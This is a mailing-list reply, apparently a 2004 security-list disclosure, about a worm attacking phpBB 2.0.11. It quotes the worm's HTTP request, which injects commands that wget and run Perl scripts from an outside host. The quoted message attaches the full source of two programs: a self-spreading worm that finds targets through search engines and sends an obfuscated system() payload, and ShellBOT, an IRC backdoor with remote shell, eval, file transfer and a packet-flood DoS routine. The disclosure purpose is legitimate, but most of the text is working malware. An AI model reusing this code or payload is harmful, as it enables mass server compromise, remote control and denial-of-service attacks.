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Message-ID: <41CDBC0F.5050509@fazed.org>
From: adam at fazed.org (Adam)
Subject: Re: new phpBB worm affects 2.0.11
The request for this one (even against a non phpBB scripts) appears to
look like this:
"GET
/?p=comments&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20crowklan.mine.nu/~pillar/.zk/coll;perl%20coll;wget%20crowklan.mine.nu/~pillar/.zk/aol;perl%20aol;rm%20-rf%20aol.*;rm%20-rf%20coll*%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
HTTP/1.1"
-Adam
Herman Sheremetyev wrote:
> My patched phpBB 2.0.11 running on FreeBSD 4.10 was exploited by a new
> variation of the worm this morning. I'm attaching the 2 perl scripts it
> installs, one is an irc bot the other the worm itself.
>
> -Herman
>
>
> ------------------------------------------------------------------------
>
> #/usr/bin/perl
>
> use IO::Socket;
> use LWP::Simple;
> my $processo = "/usr/bin/httpd -DSSL";
> $0="$processo"."\0"x16;;
> my $pid=fork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>
> while(1){
> @vul = "";
> $a=0;
> $numero = int rand(999);
> $site = "www.google.com";
> $procura = "inurl:viewtopic.php?t=$numero";
>
> ######################################
> for($n=0;$n<90;$n += 10){
> $sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next;
> print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
> @resu = <$sock>;
> close($sock);
> $ae = "@resu";
> while ($ae=~ m/<a href=.*?>.*?<\/a>/){
> $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
> $uber=$1;
> if ($uber !~/translate/)
> {if ($uber !~ /cache/)
> {if ($uber !~ /"/)
> {if ($uber !~ /google/)
> {if ($uber !~ /216/)
> {if ($uber =~/http/)
> {if ($uber !~ /start=/)
> {
> if ($uber =~/&/)
> {
> $nu = index $uber, '&';
> $uber = substr($uber,0,$nu);
> }
> $vul[$a] = $uber;
> $a++;
> }}}}}}}}}
> ##########################
> for($cadenu=1;$cadenu <= 99; $cadenu +=10){
>
> @cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu") or next;
> $ae = "@cade";
>
> while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
> $ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
> $uber=$1;
>
> $uber =~ s/ //g;
> $uber =~ s/<b>//g;
> $uber =~ s/<\/b>//g;
> $uber =~ s/<wbr>//g;
>
> if ($uber =~/&/)
> {
> $nu = index $uber, '&';
> $uber = substr($uber,0,$nu);
> }
> $vul[$a] = $uber;
> $a++
> }}
>
> #########################
>
>
> $cmd = '&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%252echr(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115)%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%252echr(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115)%252echr(105)%252echr(116)%2
52echr(101)%252echr(46)%252echr'.'(99)%252echr(111)%252echr(109)%252echr(47)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527';
>
>
> $b = scalar(@vul);
>
> for($a=0;$a<=$b;$a++)
> {
>
> $sitevul = $vul[$a] . $cmd;
> if($sitevul !~/http/){ $sitevul = 'http://' . $sitevul; }
> $res = get($sitevul) or next;
> }
>
>
>
>
>
>
>
>
>
>
>
>
> }
>
>
> ------------------------------------------------------------------------
>
> #!/usr/bin/perl
> #
> # ShellBOT - Atrix Team
> #
> # 0ldW0lf - oldwolf@...ix-team.org
> # - www.atrix-team.org
> # - www.atrix.cjb.net
> #
> #
> ################ CONFIGURACAO #################################################################
> my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
> #----------------------------------------------################################################
> my $linas_max='8'; # Evita o flood :) depois de X linhas #
> #----------------------------------------------################################################
> my $sleep='4'; # ele dorme X segundos #
> ##################### IRC #####################################################################
> my @adms=("ssh"); # Nick do administrador #
> #----------------------------------------------################################################
> my @canais=("#ssh echo"); # Caso haja senha ("#canal :senha") #
> #----------------------------------------------################################################
> my $nick='sshd'; # Nick do bot. Caso esteja em uso vai aparecer #
> # aparecer com numero radonamico no final #
> #----------------------------------------------################################################
> my $ircname = 'ssh'; # User ID #
> #----------------------------------------------################################################
> chop (my $realname = `uname -a`); # Full Name #
> #----------------------------------------------################################################
> $servidor='ssh.gigachat.net' unless $servidor; # Servidor de irc que vai ser usado #
> # caso n?o seja especificado no argumento #
> #----------------------------------------------################################################
> my $porta='6667'; # Porta do servidor de irc #
> ################ ACESSO A SHELL ###############################################################
> my $secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
> ###############################################################################################
>
> my $VERSAO = '0.2';
>
> $SIG{'INT'} = 'IGNORE';
> $SIG{'HUP'} = 'IGNORE';
> $SIG{'TERM'} = 'IGNORE';
> $SIG{'CHLD'} = 'IGNORE';
> $SIG{'PS'} = 'IGNORE';
>
> use IO::Socket;
> use Socket;
> use IO::Select;
> chdir("/");
> $servidor="$ARGV[0]" if $ARGV[0];
> $0="$processo"."\0"x16;;
> my $pid=fork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>
>
>
> my $dcc_sel = new IO::Select->new();
>
> #############################
> # B0tchZ na veia ehehe :P #
> #############################
>
> $sel_cliente = IO::Select->new();
> sub sendraw {
> if ($#_ == '1') {
> my $socket = $_[0];
> print $socket "$_[1]\n";
> } else {
> print $IRC_cur_socket "$_[0]\n";
> }
> }
>
> sub conectar {
> my $meunick = $_[0];
> my $servidor_con = $_[1];
> my $porta_con = $_[2];
>
> my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
> if (defined($IRC_socket)) {
> $IRC_cur_socket = $IRC_socket;
>
> $IRC_socket->autoflush(1);
> $sel_cliente->add($IRC_socket);
>
> $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
> $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
> nick("$meunick");
> sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
> sleep 1;
> }
>
> }
> my $line_temp;
> while( 1 ) {
> while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
> delete($irc_servers{''}) if (defined($irc_servers{''}));
> &DCC::connections;
> my @ready = $sel_cliente->can_read(0);
> next unless(@ready);
> foreach $fh (@ready) {
> $IRC_cur_socket = $fh;
> $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
> $nread = sysread($fh, $msg, 4096);
> if ($nread == 0) {
> $sel_cliente->remove($fh);
> $fh->close;
> delete($irc_servers{$fh});
> }
> @lines = split (/\n/, $msg);
>
> for(my $c=0; $c<= $#lines; $c++) {
> $line = $lines[$c];
> $line=$line_temp.$line if ($line_temp);
> $line_temp='';
> $line =~ s/\r$//;
> unless ($c == $#lines) {
> parse("$line");
> } else {
> if ($#lines == 0) {
> parse("$line");
> } elsif ($lines[$c] =~ /\r$/) {
> parse("$line");
> } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
> parse("$line");
> } else {
> $line_temp = $line;
> }
> }
> }
> }
> }
>
>
>
> sub parse {
> my $servarg = shift;
> if ($servarg =~ /^PING \:(.*)/) {
> sendraw("PONG :$1");
> } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
> my $pn=$1; my $onde = $4; my $args = $5;
> if ($args =~ /^\001VERSION\001$/) {
> notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf\001");
> }
> if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
> if ($onde eq "$meunick"){
> shell("$pn", "$args");
> }
> if ($args =~ /^(\Q$meunick\E|\!atrix)\s+(.*)/ ) {
> my $natrix = $1;
> my $arg = $2;
> if ($arg =~ /^\!(.*)/) {
> ircase("$pn","$onde","$1") unless ($natrix eq "!atrix" and $arg =~ /^\!nick/);
> } elsif ($arg =~ /^\@(.*)/) {
> $ondep = $onde;
> $ondep = $pn if $onde eq $meunick;
> bfunc("$ondep","$1");
> } else {
> shell("$onde", "$arg");
> }
> }
> }
> } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
> if (lc($1) eq lc($meunick)) {
> $meunick=$4;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> }
> } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
> nick("$meunick".int rand(9999));
> } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
> $meunick = $2;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
> foreach my $canal (@canais) {
> sendraw("JOIN $canal");
> }
> }
> }
>
> sub bfunc {
> my $printl = $_[0];
> my $funcarg = $_[1];
> if (my $pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> if ($funcarg =~ /^portscan (.*)/) {
> my $hostip="$1";
> my @portas=("21","22","23","25","53","80","110","143");
> my (@aberta, %porta_banner);
> foreach my $porta (@portas) {
> my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
> if ($scansock) {
> push (@aberta, $porta);
> $scansock->close;
> }
> }
>
> if (@aberta) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta");
> } else {
> sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");
> }
> }
> if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
> my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
> $dtime = 1 if $dtime == 0;
> my %bytes;
> $bytes{igmp} = $2 * $pacotes{igmp};
> $bytes{icmp} = $2 * $pacotes{icmp};
> $bytes{o} = $2 * $pacotes{o};
> $bytes{udp} = $2 * $pacotes{udp};
> $bytes{tcp} = $2 * $pacotes{tcp};
>
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M?dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
>
>
> }
> exit;
> }
> }
> }
>
> sub ircase {
> my ($kem, $printl, $case) = @_;
>
> if ($case =~ /^join (.*)/) {
> j("$1");
> }
> if ($case =~ /^part (.*)/) {
> p("$1");
> }
> if ($case =~ /^rejoin\s+(.*)/) {
> my $chan = $1;
> if ($chan =~ /^(\d+) (.*)/) {
> for (my $ca = 1; $ca <= $1; $ca++ ) {
> p("$2");
> j("$2");
> }
> } else {
> p("$chan");
> j("$chan");
> }
> }
> if ($case =~ /^op/) {
> op("$printl", "$kem") if $case eq "op";
> my $oarg = substr($case, 3);
> op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^deop/) {
> deop("$printl", "$kem") if $case eq "deop";
> my $oarg = substr($case, 5);
> deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^voice/) {
> voice("$printl", "$kem") if $case eq "voice";
> $oarg = substr($case, 6);
> voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^devoice/) {
> devoice("$printl", "$kem") if $case eq "devoice";
> $oarg = substr($case, 8);
> devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^msg\s+(\S+) (.*)/) {
> msg("$1", "$2");
> }
> if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> msg("$2", "$3");
> }
> }
> if ($case =~ /^ctcp\s+(\S+) (.*)/) {
> ctcp("$1", "$2");
> }
> if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> ctcp("$2", "$3");
> }
> }
> if ($case =~ /^invite\s+(\S+) (.*)/) {
> invite("$1", "$2");
> }
> if ($case =~ /^nick (.*)/) {
> nick("$1");
> }
> if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
> conectar("$2", "$1", 6667);
> }
> if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
> DCC::SEND("$1", "$2");
> }
> if ($case =~ /^raw (.*)/) {
> sendraw("$1");
> }
> if ($case =~ /^eval (.*)/) {
> eval "$1";
> }
> }
> sub shell {
> return unless $secv;
> my $printl=$_[0];
> my $comando=$_[1];
> if ($comando =~ /cd (.*)/) {
> chdir("$1") || msg("$printl", "Diert?rio inexistente!");
> return;
> }
> elsif ($pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> my @resp=`$comando 2>&1 3>&1`;
> my $c=0;
> foreach my $linha (@resp) {
> $c++;
> chop $linha;
> sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
> if ($c == "$linas_max") {
> $c=0;
> sleep $sleep;
> }
> }
> exit;
> }
> }
> }
>
> #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
> sub attacker {
> my $iaddr = inet_aton($_[0]);
> my $msg = 'B' x $_[1];
> my $ftime = $_[2];
> my $cp = 0;
> my (%pacotes);
> $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
>
> socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
> socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
> socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
> socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
> return(undef) if $cp == 4;
> my $itime = time;
> my ($cur_time);
> while ( 1 ) {
> for (my $porta = 1; $porta <= 65535; $porta++) {
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
> send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
> send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
> send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
>
> # DoS ?? :P
> for (my $pc = 3; $pc <= 255;$pc++) {
> next if $pc == 6;
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
> send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
> }
> }
> last if $cur_time >= $ftime;
> }
> return($cur_time, %pacotes);
> }
>
>
>
> #############
> # ALIASES #
> #############
>
> sub action {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
> }
>
> sub ctcp {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001$_[1]\001");
> }
> sub msg {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :$_[1]");
> }
>
> sub notice {
> return unless $#_ == 1;
> sendraw("NOTICE $_[0] :$_[1]");
> }
>
> sub op {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +o $_[1]");
> }
> sub deop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -o $_[1]");
> }
> sub hop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub dehop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub voice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +v $_[1]");
> }
> sub devoice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -v $_[1]");
> }
> sub ban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +b $_[1]");
> }
> sub unban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -b $_[1]");
> }
> sub kick {
> return unless $#_ == 1;
> sendraw("KICK $_[0] $_[1] :$_[2]");
> }
>
> sub modo {
> return unless $#_ == 0;
> sendraw("MODE $_[0] $_[1]");
> }
> sub mode { modo(@_); }
>
> sub j { &join(@_); }
> sub join {
> return unless $#_ == 0;
> sendraw("JOIN $_[0]");
> }
> sub p { part(@_); }
> sub part {sendraw("PART $_[0]");}
>
> sub nick {
> return unless $#_ == 0;
> sendraw("NICK $_[0]");
> }
>
> sub invite {
> return unless $#_ == 1;
> sendraw("INVITE $_[1] $_[0]");
> }
> sub topico {
> return unless $#_ == 1;
> sendraw("TOPIC $_[0] $_[1]");
> }
> sub topic { topico(@_); }
>
> sub whois {
> return unless $#_ == 0;
> sendraw("WHOIS $_[0]");
> }
> sub who {
> return unless $#_ == 0;
> sendraw("WHO $_[0]");
> }
> sub names {
> return unless $#_ == 0;
> sendraw("NAMES $_[0]");
> }
> sub away {
> sendraw("AWAY $_[0]");
> }
> sub back { away(); }
> sub quit {
> sendraw("QUIT :$_[0]");
> }
>
>
>
> # DCC
> package DCC;
>
> sub connections {
> my @ready = $dcc_sel->can_read(1);
> # return unless (@ready);
> foreach my $fh (@ready) {
> my $dcctipo = $DCC{$fh}{tipo};
> my $arquivo = $DCC{$fh}{arquivo};
> my $bytes = $DCC{$fh}{bytes};
> my $cur_byte = $DCC{$fh}{curbyte};
> my $nick = $DCC{$fh}{nick};
>
> my $msg;
> my $nread = sysread($fh, $msg, 10240);
>
> if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
> $DCC{$fh}{status} = "Cancelado";
> $DCC{$fh}{ftime} = time;
> $dcc_sel->remove($fh);
> $fh->close;
> next;
> }
>
> if ($dcctipo eq "get") {
> $DCC{$fh}{curbyte} += length($msg);
>
> my $cur_byte = $DCC{$fh}{curbyte};
>
> open(FILE, ">> $arquivo");
> print FILE "$msg" if ($cur_byte <= $bytes);
> close(FILE);
>
> my $packbyte = pack("N", $cur_byte);
> print $fh "$packbyte";
>
> if ($bytes == $cur_byte) {
> $dcc_sel->remove($fh);
> $fh->close;
> $DCC{$fh}{status} = "Recebido";
> $DCC{$fh}{ftime} = time;
> next;
> }
> } elsif ($dcctipo eq "send") {
> my $send = $fh->accept;
> $send->autoflush(1);
> $dcc_sel->add($send);
> $dcc_sel->remove($fh);
> $DCC{$send}{tipo} = 'sendcon';
> $DCC{$send}{itime} = time;
> $DCC{$send}{nick} = $nick;
> $DCC{$send}{bytes} = $bytes;
> $DCC{$send}{curbyte} = 0;
> $DCC{$send}{arquivo} = $arquivo;
> $DCC{$send}{ip} = $send->peerhost;
> $DCC{$send}{porta} = $send->peerport;
> $DCC{$send}{status} = "Enviando";
>
> #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
> open(FILE, "< $arquivo");
> my $fbytes;
> read(FILE, $fbytes, 1024);
> print $send "$fbytes";
> close FILE;
> # delete($DCC{$fh});
> } elsif ($dcctipo eq 'sendcon') {
> my $bytes_sended = unpack("N", $msg);
> $DCC{$fh}{curbyte} = $bytes_sended;
> if ($bytes_sended == $bytes) {
> $fh->close;
> $dcc_sel->remove($fh);
> $DCC{$fh}{status} = "Enviado";
> $DCC{$fh}{ftime} = time;
> next;
> }
> open(SENDFILE, "< $arquivo");
> seek(SENDFILE, $bytes_sended, 0);
> my $send_bytes;
> read(SENDFILE, $send_bytes, 1024);
> print $fh "$send_bytes";
> close(SENDFILE);
> }
> }
> }
>
>
> sub SEND {
> my ($nick, $arquivo) = @_;
> unless (-r "$arquivo") {
> return(0);
> }
>
> my $dccark = $arquivo;
> $dccark =~ s/[.*\/](\S+)/$1/;
>
> my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
> my $longip = unpack("N",inet_aton($meuip));
>
> my @filestat = stat($arquivo);
> my $size_total=$filestat[7];
> if ($size_total == 0) {
> return(0);
> }
>
> my ($porta, $sendsock);
> do {
> $porta = int rand(64511);
> $porta += 1024;
> $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
> } until $sendsock;
>
> $DCC{$sendsock}{tipo} = 'send';
> $DCC{$sendsock}{nick} = $nick;
> $DCC{$sendsock}{bytes} = $size_total;
> $DCC{$sendsock}{arquivo} = $arquivo;
>
>
> &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
>
> }
>
> sub GET {
> my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
> return(0) if (-e "$arquivo");
> if (open(FILE, "> $arquivo")) {
> close FILE;
> } else {
> return(0);
> }
>
> my $dccip=fixaddr($dcclongip);
> return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
> my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
> $dccsock->autoflush(1);
> $dcc_sel->add($dccsock);
> $DCC{$dccsock}{tipo} = 'get';
> $DCC{$dccsock}{itime} = time;
> $DCC{$dccsock}{nick} = $nick;
> $DCC{$dccsock}{bytes} = $bytes;
> $DCC{$dccsock}{curbyte} = 0;
> $DCC{$dccsock}{arquivo} = $arquivo;
> $DCC{$dccsock}{ip} = $dccip;
> $DCC{$dccsock}{porta} = $dccporta;
> $DCC{$dccsock}{status} = "Recebendo";
> }
>
> # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
> sub Status {
> my $socket = shift;
> my $sock_tipo = $DCC{$socket}{tipo};
> unless (lc($sock_tipo) eq "chat") {
> my $nick = $DCC{$socket}{nick};
> my $arquivo = $DCC{$socket}{arquivo};
> my $itime = $DCC{$socket}{itime};
> my $ftime = time;
> my $status = $DCC{$socket}{status};
> $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
>
> my $d_time = $ftime-$itime;
>
> my $cur_byte = $DCC{$socket}{curbyte};
> my $bytes_total = $DCC{$socket}{bytes};
>
> my $rate = 0;
> $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
> my $porcen = ($cur_byte*100)/$bytes_total;
>
> my ($r_duv, $p_duv);
> if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $r_duv = $3; $r_duv++ if $4 >= 5;
> $rate = "$1\.$2"."$r_duv";
> }
> if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $p_duv = $3; $p_duv++ if $4 >= 5;
> $porcen = "$1\.$2"."$p_duv";
> }
> return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
> }
>
>
> return(0);
> }
>
>
> # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
> sub fixaddr {
> my ($address) = @_;
>
> chomp $address; # just in case, sigh.
> if ($address =~ /^\d+$/) {
> return inet_ntoa(pack "N", $address);
> } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
> return $address;
> } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
> return inet_ntoa(((gethostbyname($address))[4])[0]);
> } else {
> return;
> }
> }
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